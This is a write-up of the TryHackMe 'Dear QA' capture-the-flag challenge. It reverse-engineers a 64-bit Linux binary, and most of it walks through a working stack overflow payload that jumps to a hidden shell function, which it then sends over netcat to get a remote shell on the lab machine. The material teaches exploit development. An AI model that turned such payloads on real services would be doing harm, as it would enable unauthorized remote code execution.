Dear QA (Linux Binary Overflow)

Description: This is a write-up of the Dear QA CTF in TryHackMe.

Are you able to solve this challenge involving reverse engineering and exploit development?

Binary analysis

The challenge's binary is a 64-bits ELF executable:

kali@kali:~$ file DearQA.DearQA DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

Thus, we have the first challenge's response:

What is the binary architecture?

x64

The program asks for a name, and prints it in the console's output:

kali@kali:~$ ./DearQA.DearQA Welcome dearQA I am sysadmin, i am new in developing What's your name: jamarir Hello: jamarir

That same program is run remotely on the lab's machine:

kali@kali:~$ nc 10.10.132.152 5700 Welcome dearQA I am sysadmin, i am new in developing What's your name: jamarir jamarir Hello: jamarir

Thus, I suppose I have to exploit the binary in the server to get a flag. Let's analyse it locally using Ghidra. Reverse engineering using Ghidra

First, I installed Ghidra and launched it:

wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.tar.gz -O /tmp/jdk-17_linux-x64_bin.tar.gz gzip -d /tmp/jdk-17_linux-x64_bin.tar.gz cd ~ tar xvf /tmp/jdk-17_linux-x64_bin.tar wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_10.1.2_build/ghidra_10.1.2_PUBLIC_20220125.zip -O /tmp/ghidra.zip unzip /tmp/ghidra.zip -d ~/ sudo ln -s ~/ghidra_10.1.2_PUBLIC/ghidraRun /usr/local/bin/ghidra ghidra

We see 2 interesting functions:

main(), which is called at startup:

int main(void) { undefined name [32];

puts("Welcome dearQA"); puts("I am sysadmin, i am new in developing"); printf("What's your name: "); fflush(stdout); __isoc99_scanf(&DAT_00400851,name); printf("Hello: %s\n",name); return 0; }

vuln(), which spawns a shell:

Therefore, it becomes clear that we must, somehow, call the function vuln(), which isn't called in the main() function. Buffer OverFlow PoC

Our input is stored in a char array, limited to 32 characters.

int main(void) { undefined name [32];

Therefore, if the input heavily exceeds that limit (e.g. with 100 characters), the program should crash:

kali@kali:~$ ./DearQA.DearQA <<< $(python2 -c 'print"A"*100') Welcome dearQA I am sysadmin, i am new in developing What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zsh: segmentation fault ./DearQA.DearQA <<< $(python2 -c 'print"A"*100')

This behaviour is due to the fact that the instruction pointer (eip:32-bits, rip:64-bits) points to an address which contains no instruction.

Overwritting rip was possible because the scanf function keeps on reading our input until it finds a NULL byte. In other words, it is possible to input more than 32 characters in name, which leads to memory overflow.

Indeed, when the name array is declared in main(), the stack looks like:

(0x0000000000000000) ... name name name name rbp' rip' ... (0xffffffffffffffff)

Before main() is called, it performs a prologue. First, the arguments of the function are pushed on the stack, in reverse order (e.g. argv, then argc if the call is main(int argc, char** argv)).

Secondly, it saves (pushes) in the stack:

As the architecture of the executable is 64 bits, each slot in the stack contains 64 bits, i.e. 8 bytes.

Let's have a look at the following crash in a debugger (I'm using the GDB-plugin pwndbg):

kali@kali:~$ gdb ./DearQA.DearQA pwndbg> run <<< python2 -c 'print"A"*32+"B"*8+"C"*8' Welcome dearQA I am sysadmin, i am new in developing What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

RBP 0x4242424242424242 ('BBBBBBBB') RSP 0x7fffffffda98 β—‚β€” 'CCCCCCCC' RIP 0x40072f (main+108) β—‚β€” ret ─────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────── β–Ί 0x40072f <main+108> ret <0x4343434343434343>

We know name is an array of 32 characters. However, when name has a length of 32+8+8, it first overwrites rbp', and then rip'.

Indeed, if name contains "A"*32+"B"*8+"C"*8, the stack's slots would contain:

(0x0000000000000000) ... name (AAAAAAAA) name (AAAAAAAA) name (AAAAAAAA) name (AAAAAAAA) rbp' (BBBBBBBB) rip' (CCCCCCCC) ... (0xffffffffffffffff)

However, once the main() function finished, it executes its epilogue, which:

However, our input above overwrote:

As a result, the program crashes because the address contained in rip pointer (i.e. 0x4343434343434343) isn't pointing to an instruction. RCE

All we need to do is to set rip' to the address of vuln()'s in order to get a shell. In other words, we are telling the program that once main() has been executed, it should continue with vuln().

nm tool can be used to retrieve the addresses of the functions in the executable:

kali@kali:~$ nm DearQA.DearQA 0000000000600c08 B __bss_start 0000000000600c18 b completed.6670 0000000000600bf8 D __data_start 0000000000600bf8 W data_start 00000000004005c0 t deregister_tm_clones 0000000000400640 t __do_global_dtors_aux 00000000006009c0 d __do_global_dtors_aux_fini_array_entry 0000000000600c00 D __dso_handle 00000000006009d0 d _DYNAMIC 0000000000600c08 D _edata 0000000000600c20 B _end U execve@@GLIBC_2.2.5 U fflush@@GLIBC_2.2.5 00000000004007a4 T _fini 0000000000400660 t frame_dummy 00000000006009b8 d __frame_dummy_init_array_entry 00000000004009b0 r FRAME_END 0000000000600ba8 d GLOBAL_OFFSET_TABLE w gmon_start 00000000004004f0 T _init 00000000006009c0 d __init_array_end 00000000006009b8 d __init_array_start 00000000004007b0 R _IO_stdin_used U __isoc99_scanf@@GLIBC_2.7 w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable 00000000006009c8 d JCR_END 00000000006009c8 d JCR_LIST w _Jv_RegisterClasses 00000000004007a0 T __libc_csu_fini 0000000000400730 T __libc_csu_init U __libc_start_main@@GLIBC_2.2.5 00000000004006c3 T main U printf@@GLIBC_2.2.5 U puts@@GLIBC_2.2.5 0000000000400600 t register_tm_clones 0000000000400590 T _start 0000000000600c10 B stdout@@GLIBC_2.2.5 0000000000600c08 D TMC_END 0000000000400686 T vuln

The address we need to overwrite is 0x0000000000400686 (last line above). In little-endian, the payload is:

kali@kali:~$ ./DearQA.DearQA <<< python2 -c 'print"A"*32+"B"*8+"\x86\x06\x40\x00\x00\x00\x00\x00"' Welcome dearQA I am sysadmin, i am new in developing What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@ Congratulations! You have entered in the secret function!

The secret function got executed! However, the execution flow immediately stops after the name is displayed in the console.

We can use cat in order to block the execution flow after the shell spawned:

kali@kali:~$ (python2 -c 'print"A"*32+"BBBBBBBB"+"\x86\x06\x40\x00\x00\x00\x00\x00"'; cat) |./DearQA.DearQA Welcome dearQA I am sysadmin, i am new in developing What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@ Congratulations! You have entered in the secret function! whoami kali

Finally, we can use the same payload in the server to spawn a remote shell:

kali@kali:~$ (python2 -c 'print"A"*32+"BBBBBBBB"+"\x86\x06\x40\x00\x00\x00\x00\x00"'; cat) |nc 10.10.132.152 5700 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB^F@^@^@^@^@^@ Welcome dearQA I am sysadmin, i am new in developing What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@ Congratulations! You have entered in the secret function! bash: cannot set terminal process group (450): Inappropriate ioctl for device bash: no job control in this shell

The flag is:

ctf@dearqa:/home/ctf$ ls DearQA dearqa.c flag.txt

ctf@dearqa:/home/ctf$ cat flag.txt THM{PW[...]SY}

Last updated